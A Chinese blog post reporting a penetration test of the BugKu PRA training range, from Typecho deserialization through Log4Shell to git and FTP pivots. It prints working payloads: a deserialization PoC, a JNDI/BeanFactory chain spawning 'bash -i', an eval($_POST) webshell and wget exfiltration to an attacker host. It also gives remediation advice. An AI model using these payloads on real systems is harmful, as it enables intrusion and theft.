news 2026/11/3 10:50:28

BugKu PRA 渗透测试 2(Harry‘s Blog):9 Flag 全链实战复盘

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
BugKu PRA 渗透测试 2(Harry‘s Blog):9 Flag 全链实战复盘

BugKu PRA · 渗透测试 2(Harry's Blog)渗透测试报告

目标:http://47.117.138.21/| 日期:2026-10-24 | 结果:9 / 9 flag类型:授权靶场多级内网渗透(公网入口 → 双网卡边界 → 末端服务)


0. Evidence Chain(Evidence → Finding → Path)

0.1 Scope 摘要

项值
auth授权靶场(多级内网渗透训练)
in_scope47.117.138.21:80;内网192.168.0.0/24、192.168.1.0/24、10.10.0.0/24中由靶场派生出的主机
network_profile公网入口 1 台 → 双网卡边界 2 台 → 末端服务 1 台;攻击机侧自建 Rogue LDAP + HTTP 回显
时间窗口2026-10-24 01:30 ~ 02:08(Asia/Shanghai),任务计时 41m40s
约束只做读取/利用验证,不做破坏性操作;不下载攻击工具,利用设施全部本地自建

0.2 Evidence

E-id观察source_typesource_ref / repro_commandhash
E-00147.117.138.21 开放 22/80/2376/32768commandnmap -Pn -sT -p- --min-rate 3000 47.117.138.21n/a
E-002首页指纹 Typecho 1.0/14.10.10、Apache 2.4.7、PHP 5.5.9commandcurl -i http://47.117.138.21/n/a
E-003phpinfo.php、.git/、/usr/目录列表、/usr/uploads可写可执行commandcurl -i http://47.117.138.21/{phpinfo.php,.git/config,usr/}n/a
E-004install.php反序列化 RCE,落地/usr/uploads/s.php,uid=33(www-data)commandPOST /install.php?finish=a+ 同源Referer+__typecho_confign/a
E-005Typecho 容器/flag= flag1filewebshellecho file_get_contents('/flag')n/a
E-006config.inc.php泄露cms/7aed78676bf27528@localhost/cmsfilewebshellfile_get_contents('/app/config.inc.php')n/a
E-007MySQLcms.flag= flag2commandSELECT * FROM cms.flagn/a
E-008内网192.168.0.3:80后台系统;Source: /source.zip;源码含 log4j 2.14.1commandPHPfsockopen扫描 +GET /source.zipn/a
E-009源码审计:logger.info("用户登录失败,用户名不存在:" + user)file/source.zip→DamnVulnerableLog4j.javan/a
E-010Log4Shell 绕过成功,root RCE(uid=0);LDAP 多端口回调commanduser=${jndi:ldap://192.168.0.2:1389/Exploit}+ 序列化 ResourceRefn/a
E-011log4j 主机start.sh:FLAG3 注入anime.min.js;flag3 实测filecat /start.sh;GET /anime.min.jsn/a
E-012log4j 主机/flag、/root/flag= flag4/flag5filecat /flag /root/flagn/a
E-013git 主机/repos/目录列表:flag时间戳 00:57(容器启动),先于 clone 01:56commandGET http://192.168.1.3/repos/n/a
E-014恶意裸仓库.phtmlgetshell(www-data);git 主机/flag= flag7commandPOST repourl=http://192.168.1.2:8000/repo.git+ phtml 执行n/a
E-01510.10.0.3:21vsftpd 3.0.2guest/guest;/home/guest/flag、/flagcommandPHPftp_connect/ftp_getn/a

0.3 Findings

漏洞类

F-id标题severityevidence_idsconfidencestatus
F-V01Typechoinstall.php反序列化 RCE(未授权)criticalE-004highvalidated
F-V02config.inc.php数据库口令泄露,flag 与业务同库highE-006, E-007highvalidated
F-V03Spring Boot + log4j-core 2.14.1 Log4Shell(未授权,root)criticalE-008, E-009, E-010highvalidated
F-V04Git 克隆应用可克隆任意仓库且.phtml被解析执行criticalE-013, E-014highvalidated
F-V05vsftpd 弱口令guest/guest,且未 chroothighE-015highvalidated
F-V06信息暴露:phpinfo、.git、目录列表、source.zip、start.sh残留mediumE-002, E-003, E-008, E-011highvalidated

Flag 类

F-idFlag位置evidence_ids证据等级
F-101flag{8f416dcf8f6da81d88ed3aefd2ad7200}Typecho/flagE-005B
F-102flag{fc927a470effa773b02951360624c9eb}cms.flagE-007B
F-103flag{c64be64c61a38655f0fcb1dd5ac0f2ac}log4janime.min.jsE-011A
F-104flag{fbb4a92b7f4966f3fabfe8e2ee4e2636}log4j/flagE-012A
F-105flag{3399a9d82c572bb9f86b0f36317d0f71}log4j/root/flagE-012A
F-106flag{5b683dc7c1a7fd3283bdbbc793b46662}git/var/www/html/repos/flagE-013A
F-107flag{e4348b26252db4953e19d6365e128ca0}git/flagE-014A
F-108flag{cf452a1b4a3a5a3f43c09febf63609c0}FTP/home/guest/flagE-015A
F-109flag{2719dec3a2058d7a21ee996097a7b419}FTP/flagE-015A

A = 目标机start.sh直接写明变量与路径且实测读到;B = 文件/数据库实测 + 官方题解阶段对应(容器 start.sh 已自删)。

0.4 Path(攻击路径 P-001)

步actionevidencefinding
1指纹与信息暴露收集E-001,E-002,E-003F-V06
2install.php反序列化拿 www-dataE-004F-V01
3读/flag、config.inc.php、cms.flagE-005,E-006,E-007F-101,F-102,F-V02
4内网扫描发现192.168.0.3后台系统与source.zipE-008F-V06
5源码审计定位 log4j 2.14.1 日志注入点E-009F-V03
6Log4Shell(BeanFactory 绕过)拿 rootE-010F-V03
7读anime.min.js、/flag、/root/flagE-011,E-012F-103,F-104,F-105
8双网卡横向 →192.168.1.3Git 仓库E-013F-V04
9/repos/目录列表直读 flag6E-013F-106
10恶意裸仓库.phtmlgetshell →git /flagE-014F-V04,F-107
1110.10.0.2/24→10.10.0.3vsftpdE-015F-V05
12guest/guest取/home/guest/flag与/flagE-015F-108,F-109

0.5 Timeline 摘要

时间事件结果
01:30开始侦察Typecho 指纹、信息暴露
01:34install.php反序列化www-data RCE
01:35–01:36读/flag、cms.flagflag1、flag2
01:40内网发现192.168.0.3后台系统 + source.zip
01:50Log4Shell 绕过root RCE
01:52读 js / flag / root flagflag3、flag4、flag5
01:55–01:58双网卡横向 → Git 仓库flag6
02:04–02:05.phtmlgetshellflag7
02:07–02:08FTP guestflag8、flag9


1. 执行摘要

本次对 BugKu PRA「渗透测试 2」靶场完成端到端渗透:从公网 Typecho 博客的install.php反序列化获得入口 RCE,读取容器 flag 与数据库 flag;随后通过内网发现边界主机上的 Spring Boot 后台系统,利用 log4j-core 2.14.1 的 Log4Shell(在trustURLCodebase=false下改用BeanFactory + ELProcessor绕过)获得 root;再经双网卡横向到 Git 克隆应用(目录列表直读 + 恶意.phtmlgetshell),最后进入第三层网络拿下 vsftpd 弱口令主机。9 个 flag 全部获取并交叉验证,发现 6 类可复现漏洞(2 个 critical 利用链、3 个 high、1 个 medium)。核心建议:修复 Typecho 反序列化与信息暴露、升级 log4j ≥ 2.17.1、限制 Git 克隆目标并禁止克隆目录执行脚本、禁用 FTP 弱口令。


2. 测试范围与授权

资产地址角色
公网入口47.117.138.21:80Typecho 1.0 / Apache 2.4.7 / PHP 5.5.9
攻击机容器192.168.0.2webshell + Rogue LDAP(1389–1391) + HTTP 回显
边界主机 A192.168.0.3/192.168.1.2Bugku 后台系统(Spring Boot 2.6.1 + log4j 2.14.1),双网卡
边界主机 B192.168.1.3/10.10.0.2乙公司 Git 仓库(PHP clone 应用),双网卡
末端服务10.10.0.3:21vsftpd 3.0.2

  • 授权:靶场训练任务,仅针对上述由目标派生出的主机;未对公网其他资产做任何探测。
  • 操作纪律:利用代码与 LDAP/HTTP 设施均在攻击机侧自建;未下载外部攻击工具;未做删除/写入持久化等破坏性动作(仅必要的 webshell/仓库用于验证)。
  • 残留物:Typecho webshell、Rogue LDAP、git 仓库shell.phtml、FTP 下载临时文件(均限靶场,供复盘)。

3. 发现汇总

3.1 风险分布

严重性数量条目
critical3F-V01、F-V03、F-V04
high2F-V02、F-V05
medium1F-V06

3.2 Flag 一览

#Flag位置证据
1flag{8f416dcf8f6da81d88ed3aefd2ad7200}Typecho/flagE-005
2flag{fc927a470effa773b02951360624c9eb}MySQLcms.flagE-007
3flag{c64be64c61a38655f0fcb1dd5ac0f2ac}log4janime.min.jsE-011
4flag{fbb4a92b7f4966f3fabfe8e2ee4e2636}log4j/flagE-012
5flag{3399a9d82c572bb9f86b0f36317d0f71}log4j/root/flagE-012
6flag{5b683dc7c1a7fd3283bdbbc793b46662}git/var/www/html/repos/flagE-013
7flag{e4348b26252db4953e19d6365e128ca0}git/flagE-014
8flag{cf452a1b4a3a5a3f43c09febf63609c0}FTP/home/guest/flagE-015
9flag{2719dec3a2058d7a21ee996097a7b419}FTP/flagE-015


4. 漏洞详情与利用

4.1 F-V06 信息暴露(medium)

  • /phpinfo.php暴露DOCUMENT_ROOT=/var/www/html、PHP 5.5.9、仅禁用pcntl_*;
  • /.git/静态可读(packed-refs指向演示仓库);
  • /usr/、/usr/themes/、/usr/plugins/目录列表;/usr/uploads/可写且 PHP 可执行;
  • 后台系统响应头Source: /source.zip直接给出源码包。

4.2 F-V01 Typechoinstall.php反序列化 RCE(critical)→ flag1

入口条件:?finish=非空、Referer与Host同源;__typecho_config被 Base64 解码后直接unserialize,$config['adapter']参与字符串拼接触发__toString。链:Typecho_Feed::__toString → Typecho_Request::__get → call_user_func($filter,$value)。

class Typecho_Feed { private $_type = 'RSS 2.0'; private $_items = array(); public function __construct($a){ $this->_items[] = array('title'=>'1','link'=>'1','date'=>1508895132,'category'=>array($a),'author'=>$a); } } class Typecho_Request { private $_params = array(); private $_filter = array('assert'); public function __construct($code){ $this->_params['screenName'] = $code; } } $poc = array('adapter'=>new Typecho_Feed(new Typecho_Request($argv[1])), 'prefix'=>'typecho_'); echo base64_encode(serialize($poc));
POST /install.php?finish=a HTTP/1.1 Host: 47.117.138.21 Referer: http://47.117.138.21/ Content-Type: application/x-www-form-urlencoded __typecho_config=<base64(serialize(...))>

assert('file_put_contents("/var/www/html/usr/uploads/s.php", base64_decode("..."));')→ webshell(www-data)→cat /flag=flag1。

4.3 F-V02 数据库口令泄露(high)→ flag2

config.inc.php:cms / 7aed78676bf27528 @ localhost / cms。cms.flag表直接存放 flag2;同一库还含typecho_users的 admin 口令哈希与authCode。

4.4 F-V03 Log4Shell(critical)→ flag3 / flag4 / flag5

后台系统/login把user拼接进logger.info(...)(log4j 2.14.1)。经典${jndi:ldap://...}可达 LDAP,但目标trustURLCodebase=false,远程 class 不落地。改用本地工厂链:

LDAP 返回 javaSerializedData = serialize(org.apache.naming.ResourceRef) className = javax.el.ELProcessor classFactory= org.apache.naming.factory.BeanFactory forceString = x=eval x = "".getClass().forName("javax.script.ScriptEngineManager") .newInstance().getEngineByName("javascript") .eval("java.lang.Runtime.getRuntime().exec('bash -c {echo,<B64>}|{base64,-d}|{bash,-i}')")

要点:

  1. LDAPbindResponse/searchResEntry/searchResDone的 application tag 直接承载字段,不能再套 SEQUENCE;
  2. 本地 stuborg.apache.naming.{AbstractRef,ResourceRef}(serialVersionUID=1L、无实例字段)保证类描述符与 Tomcat 9.0.x 兼容(9.0.55 仍支持forceString);
  3. Runtime.exec(String)按空白分词,命令用 brace expansion 去空格;
  4. JDK JNDI 连接池会复用已关闭连接 → Rogue LDAP 开 1389/1390/1391 多端口轮换;
  5. 回显:目标wget --post-file把 base64 结果 POST 回攻击机collect.php(避免 URL 长度/+问题)。

root 权限下start.sh揭示:flag3 由sed 's/MIT/$FLAG3/'注入anime.min.js,flag4=/flag,flag5=/root/flag。

4.5 F-V04 Git 克隆应用(critical)→ flag6 / flag7

Git 主机(192.168.1.3)提供repourl表单并在服务端执行git clone,/repos/为 Apache 目录列表。

  • flag6(目录列表):start.sh在容器启动时执行echo $FLAG6 > /var/www/html/repos/flag;实测/repos/flag的 Last-Modified 为 00:57(容器启动),而官方题解中的 BWVS 克隆目录是 01:56、自建repo/是 02:04。因此 flag6 是目录列表直读,clone 只是引导到/repos的叙事,并非 flag 的生成原因。
  • flag7(.phtml getshell):在边界主机 A(192.168.1.2,与 Git 主机同网段)自建裸仓库,含shell.phtml(<?php echo "PWNED"; eval($_POST["x"]); ?>),git update-server-info后用多线程静态服务提供 git dumb-http;提交repourl=http://192.168.1.2:8000/repo.git,克隆后.phtml被 PHP 解析 → www-data RCE →cat /flag=flag7。

4.6 F-V05 vsftpd 弱口令(high)→ flag8 / flag9

Git 主机另有10.10.0.2/24;10.10.0.3:21为 vsftpd 3.0.2,guest/guest登录成功:

  • /home/guest/flag=flag{cf45...} PS:/→flag8,PS:/提示根目录;
  • ftp_get /flag→flag9。

5. 攻击路径

公网 Typecho ──install.php 反序列化──▶ flag1 / MySQL flag2 │ └─内网 192.168.0.0/24──▶ 192.168.0.3 后台系统 ──Log4Shell(BeanFactory)──▶ flag3/4/5 │ └─双网卡 192.168.1.2──▶ 192.168.1.3 Git 仓库 ├─/repos/ 直读 → flag6 └─.phtml getshell → flag7 │ └─10.10.0.2/24──▶ 10.10.0.3 vsftpd ├─/home/guest/flag → flag8 └─/flag → flag9

交互图按章节就近嵌入(阶段耗时 §1、时间线 §0.5、拓扑 §2、资产映射 §3.2、获取时序本节、修复路线 §7);完整索引见 §9。


6. 工具与环境

类别工具/设施说明
扫描nmap 7.98公网端口;内网用 PHPfsockopen
HTTPcurl / PowerShell探测与利用请求
代码执行PHP webshell、install.phpgadgetTypecho 容器
Log4Shell自写 Python Rogue LDAP(多端口)、SerializedResourceRef(本地 stub + Java 序列化)无外部攻击工具下载
回显/运维collect.php、wget --post-file、run3.ps1/run4.ps1边界机命令执行编排
横向git dumb-http(update-server-info)、Python 多线程静态服务恶意仓库投递
末端PHPftp_*扩展FTP 交互
图形Archify 3.2.0architecture/sequence/timeline

7. 修复建议

优先级资产建议
P0Typecho删除/禁用install.php;升级修复反序列化;移除phpinfo.php、.git;关闭目录列表;/usr/uploads禁止 PHP 执行
P0log4j 后台升级 ≥ 2.17.1;log4j2.formatMsgNoLookups=true并移除JndiLookup;保持trustURLCodebase=false;Tomcat 限制BeanFactory;过滤${jndi:
P0Git 应用克隆 URL 白名单(禁内网/元数据地址);克隆目录RemoveHandler/php_flag engine off;关闭/repos/目录列表
P1数据库独立低权账号、最小权限、禁用 FILE;flag/敏感数据不与业务同库
P1FTP禁用guest/guest弱口令;chroot 到用户目录;敏感文件不放可读根目录
P2全局统一信息暴露治理(响应头、错误页、备份/源码包);容器最小化(去除 start.sh 等环境残留)


8. 附录

8.1 关键 payload / 命令索引

用途位置
Typecho gadget 生成器payload.php、payload2.php
ResourceRef 序列化生成log4j/ser/Gen.java+ stub 类
Rogue LDAP(多端口)log4j/ldap2.py、startldap.sh
回显收集log4j/collect.php(部署为容器/app/collect.php)
边界机编排run3.ps1(log4j 主机)、run4.ps1(git 主机 phtml)

8.2 证据文件

E-id对应工件
E-004/E-005/app/usr/uploads/s.php(Typecho 容器,webshell)
E-006/app/config.inc.php
E-010攻击面截图与 LDAP 日志ldap.log
E-011/E-012log4j 主机start.sh、anime.min.js、/flag、/root/flag
E-013/E-014git 主机/repos/列表、shell.phtml
E-015FTP/home/guest/flag、/flag

9. 图形附件(Archify)

六张交互图已分别嵌入对应章节(§1 阶段耗时、§0.5 事件时间线、§2 攻击面拓扑、§3.2 资产/Flag 映射、§5 获取时序、§7 修复路线);本表仅为索引。

图章节说明
攻击面拓扑§2三网段边界、7 节点、6 条攻击边
事件时间线§0.513 事件、3 泳道,01:30–02:08
阶段耗时§18 阶段耗时,总计约 41m40s
资产与 Flag 映射§3.24 主机 / 9 flag 归属
获取时序§57 参与者、12 条消息
修复路线§7P0→P1→P2 处置闭环

六张图均为可交互的独立 HTML 图,本文在各章节内联静态截图,便于离线阅读。


报告生成:2026-10-24 | 数据来源:本次实测会话与目标机取证;图形由 Archify 生成。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/11/3 10:49:57

团队想试 AI,别急着买套餐:先把试错预算管明白

很多团队嘴上说着要用 AI&#xff0c;真到落地时却常常卡在一个很现实的问题上&#xff1a;谁先付钱&#xff1f; 让员工自己买&#xff0c;报销流程可能比试用工具还麻烦&#xff1b;让大家共用一个账号&#xff0c;权限、记录和费用很快混在一起&#xff1b;直接采购一批长期…

作者头像 李华
网站建设 2026/11/3 10:49:56

MySQL 库表操作学习笔记

SQL 语句基础SQL 简介SQL&#xff08;结构化查询语言&#xff09;是关系型数据库标准语言&#xff0c;可以改库结构、设置权限、增删改查数据、维护数据库。SQL 四大分类DDL 数据定义语言&#xff1a;操作库、表、索引对象。CREATE、DROP、ALTER、RENAME、TRUNCATEDML 数据操作…

作者头像 李华
网站建设 2026/11/3 10:49:19

AI 论文写作免费工具别乱选:一棵从选题到定稿的自测决策树

你面对的任务其实很具体&#xff1a;完成一篇从选题、文献综述、研究设计、数据/案例分析、正文撰写、引用标注到格式排版的毕业论文&#xff0c;而且最终要符合学校和学院的最新规范。 通用大模型很能聊&#xff0c;AI 搜索很会找资料&#xff0c;论文写作平台更懂章节和格式…

作者头像 李华
网站建设 2026/11/3 10:48:40

一次小模型发布,为什么能在技术社区和内容渠道同时起量

一次小模型发布&#xff0c;为什么能在技术社区和内容渠道同时起量 一个 4B 参数的独立微调&#xff0c;没有旗舰参数、没有 Benchmark 榜单、没有发布会直播&#xff0c;却在两天内同时出现在模型下载站的内容页、开发者社区的部署教程和搜索侧的家族叙事里。Qwen3.5-4B-3D-C…

作者头像 李华